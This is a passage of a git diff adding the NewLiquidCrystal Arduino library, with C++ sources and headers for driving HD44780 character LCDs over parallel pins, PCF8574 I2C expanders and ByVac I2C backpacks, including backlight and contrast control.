waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD +} + +// +// setBacklightPin +void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ + pinMode ( pin, OUTPUT ); // Difine the backlight pin as output + _backlightPin = pin; + _polarity = pol; + setBacklight(BACKLIGHT_OFF); // Set the backlight low by default +} + +// +// setBackligh +void LiquidCrystal::setBacklight ( uint8_t value ) +{ + // Check if there is a pin assigned to the backlight + // --------------------------------------------------- + if ( _backlightPin != LCD_NOBACKLIGHT ) + { + + // Check if the pin is associated to a timer, i.e. PWM + // We dont need to use != NOT_ON_TIMER hack to detect PWM and + // 1.5x Arduino and above has a macro to check for PWM capability + // on a pin. + // --------------------------------------------------- +#if digitalPinHasPWM + if(digitalPinHasPWM(_backlightPin)) +#elif digitalPinToTimer + // On older 1.x Arduino have to check using hack + if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER) +#else + if(0) // if neither of the above we assume no PWM +#endif + { + // Check for control polarity inversion + // --------------------------------------------------- + if ( _polarity == POSITIVE ) + { + analogWrite ( _backlightPin, value ); + } + else + { + analogWrite ( _backlightPin, 255 - value ); + } + } + // Not a PWM pin, set the backlight pin for POSI or NEG + // polarity + // -------------------------------------------------------- + else if (((value > 0) && (_polarity == POSITIVE)) || + ((value == 0) && (_polarity == NEGATIVE))) + { + digitalWrite( _backlightPin, HIGH); + } + else + { + digitalWrite( _backlightPin, LOW); + } + } +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + + +// init +void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + uint8_t i; + + // Initialize the IO pins + // ----------------------- + + _rs_pin = rs; + _rw_pin = rw; + _enable_pin = enable; + + _data_pins[0] = d0; + _data_pins[1] = d1; + _data_pins[2] = d2; + _data_pins[3] = d3; + _data_pins[4] = d4; + _data_pins[5] = d5; + _data_pins[6] = d6; + _data_pins[7] = d7; + + // Initialize the IO port direction to OUTPUT + // ------------------------------------------ + + for ( i = 0; i < 4; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + + // Initialize the rest of the ports if it is an 8bit controlled LCD + // ---------------------------------------------------------------- + + if ( !fourbitmode ) + { + for ( i = 4; i < 8; i++ ) + { + pinMode ( _data_pins[i], OUTPUT ); + } + } + pinMode(_rs_pin, OUTPUT); + + // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin# + if (_rw_pin != 255) + { + pinMode(_rw_pin, OUTPUT); + } + + pinMode(_enable_pin, OUTPUT); + + // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS + // ------------------------------------------------------------------------- + if (fourbitmode) + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + else + _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS; + + // Now we pull both RS and R/W low to begin commands + digitalWrite(_rs_pin, LOW); + digitalWrite(_enable_pin, LOW); + + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + // Initialise the backlight pin no nothing + _backlightPin = LCD_NOBACKLIGHT; + _polarity = POSITIVE; +} + +// +// pulseEnable +void LiquidCrystal::pulseEnable(void) +{ + // There is no need for the delays, since the digitalWrite operation + // takes longer. + digitalWrite(_enable_pin, HIGH); + waitUsec(1); // enable pulse must be > 450ns + digitalWrite(_enable_pin, LOW); +} + +// +// write4bits +void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) +{ + for (uint8_t i = 0; i < numBits; i++) + { + digitalWrite(_data_pins[i], (value >> i) & 0x01); + } + pulseEnable(); +} + diff --git a/libraries/NewliquidCrystal/LiquidCrystal.h b/libraries/NewliquidCrystal/LiquidCrystal.h new file mode 100644 index 0000000..e2114dc --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal.h @@ -0,0 +1,161 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_4bit_h +#define LiquidCrystal_4bit_h + +#include + +#include "LCD.h" +#include "FastIO.h" + + +/*! + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. + */ +#define EXEC_TIME 37 + +class LiquidCrystal : public LCD +{ +public: + /*! + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol); + /*! + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. + */ + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3); + + // Constructors with backlight control + LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol); + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. + */ + void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7); + + /*! + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. + */ + void writeNbits(uint8_t value, uint8_t numBits); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(); + + uint8_t _rs_pin; // LOW: command. HIGH: character. + uint8_t _rw_pin; // LOW: write to LCD. HIGH: read from LCD. + uint8_t _enable_pin; // activated by a HIGH pulse. + uint8_t _data_pins[8]; // Data pins. + uint8_t _backlightPin; // Pin associated to control the LCD backlight +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C.cpp b/libraries/NewliquidCrystal/LiquidCrystal_I2C.cpp new file mode 100644 index 0000000..8f1ce77 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C.cpp @@ -0,0 +1,291 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "I2CIO.h" +#include "LiquidCrystal_I2C.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- + +// flags for backlight control +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable + */ +#define EN 6 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin + */ +#define RS 4 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr ) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); +} + + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7 ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7, uint8_t backlighPin, + t_backlighPol pol = POSITIVE ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); + setBacklightPin(backlighPin, pol); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + + init(); // Initialise the I2C expander interface + LCD::begin ( cols, lines, dotsize ); +} + + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the (optional) backlight off/on + +// +// setBacklightPin +void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _polarity = pol; + setBacklight(BACKLIGHT_OFF); +} + +// +// setBacklight +void LiquidCrystal_I2C::setBacklight( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + _i2cio.write( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_I2C::init() +{ + int status = 0; + + // initialize the backpack IO expander + // and display functions. + // ------------------------------------------------------------------------ + if ( _i2cio.begin ( _Addr ) == 1 ) + { + _i2cio.portMode ( OUTPUT ); // Set the entire IO extender to OUTPUT + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + status = 1; + _i2cio.write(0); // Set the entire port to LOW + } + return ( status ); +} + +// +// config +void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + _Addr = lcd_Addr; + + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); +} + + + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) +{ + // No need to use the delay routines since the time taken to write takes + // longer that what is needed both for toggling and enable pin an to execute + // the command. + + if ( mode == FOUR_BITS ) + { + write4bits( (value & 0x0F), COMMAND ); + } + else + { + write4bits( (value >> 4), mode ); + write4bits( (value & 0x0F), mode); + } +} + +// +// write4bits +void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + if ( mode == DATA ) + { + mode = _Rs; + } + + pinMapValue |= mode | _backlightStsMask; + pulseEnable ( pinMapValue ); +} + +// +// pulseEnable +void LiquidCrystal_I2C::pulseEnable (uint8_t data) +{ + _i2cio.write (data | _En); // En HIGH + _i2cio.write (data & ~_En); // En LOW +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C.h b/libraries/NewliquidCrystal/LiquidCrystal_I2C.h new file mode 100644 index 0000000..ea6d87f --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C.h @@ -0,0 +1,204 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_I2C_h +#define LiquidCrystal_I2C_h +#include +#include + +#include "I2CIO.h" +#include "LCD.h" + + +class LiquidCrystal_I2C : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + */ + LiquidCrystal_I2C (uint8_t lcd_Addr); + // Constructor with backlight control + LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + */ + LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(uint8_t); + + + uint8_t _Addr; // I2C Address of the IO expander + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + I2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp new file mode 100644 index 0000000..69dd9e7 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp @@ -0,0 +1,105 @@ +// --------------------------------------------------------------------------- +// Created by GHPS on 5/06/2012. +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C_ByVac.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpack BV4218 from ByVac. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @author GHPS - ghps@users.sourceforge.net +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "LiquidCrystal_I2C_ByVac.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac( uint8_t lcd_Addr ) +{ + _Addr = lcd_Addr; + _polarity == NEGATIVE; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_I2C_ByVac::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + Wire.begin(); + LCD::begin ( cols, lines, dotsize ); +} + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the integrated backlight off/on + +// setBacklight +void LiquidCrystal_I2C_ByVac::setBacklight( uint8_t value ) +{ + Wire.beginTransmission(_Addr); + Wire.write(0x03); // ByVac command code 0x03 for backlight + if (value==0) Wire.write(1); else Wire.write((byte)0); // 1 for off since polarity is NEGATIVE + Wire.endTransmission(); +} + +// Turn the contrast off/on + +// setContrast +void LiquidCrystal_I2C_ByVac::setContrast( uint8_t value ) +{ + Wire.beginTransmission(_Addr); + Wire.write(0x05); // ByVac command code 0x05 for contrast + if (value==0) Wire.write((byte)0); else Wire.write(1); + Wire.endTransmission(); +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_I2C_ByVac::init() +{ + int status = 0; + + // ByVac backpack initialized by onboard firmware + // ------------------------------------------------------------------------ + status=1; + return ( status ); +} + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_I2C_ByVac::send(uint8_t value, uint8_t mode) +{ + Wire.beginTransmission(_Addr); + Wire.write(mode+1); // map COMMAND (0) -> ByVac command code 0x01/ DATA (1) -> ByVac command code 0x02 + Wire.write(value); + Wire.endTransmission(); +} diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h new file mode 100644 index 0000000..f572633 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h @@ -0,0 +1,126 @@ +// --------------------------------------------------------------------------- +// Created by GHPS on 5/06/2012. +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C_ByVac.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpack BV4218 from ByVac. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @author GHPS - ghps-et-users-sourceforge-net +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_I2C_ByVac_h +#define LiquidCrystal_I2C_ByVac_h +#include +#include + +#include <../Wire/Wire.h> +#include "LCD.h" + + +class LiquidCrystal_I2C_ByVac : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands (to be implemented). + */ + LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr); + + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + + /*! + @function + @abstract Switch-on/off the LCD contrast. + @discussion Switch-on/off the LCD contrast. + + + @param value: contrast mode (HIGH|LOW) + */ + void setContrast ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands. + */ + + uint8_t _Addr; // I2C Address of the IO expander + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SI2C.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.cpp new file mode 100644 index 0000000..d84ae22 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.cpp @@ -0,0 +1,294 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SI2C.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board and software I2C. +// It will use digital pins 6 and 7 for SCL and SDA, but it can be changed +// in SI2CIO.cpp to use other pins if needed. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// 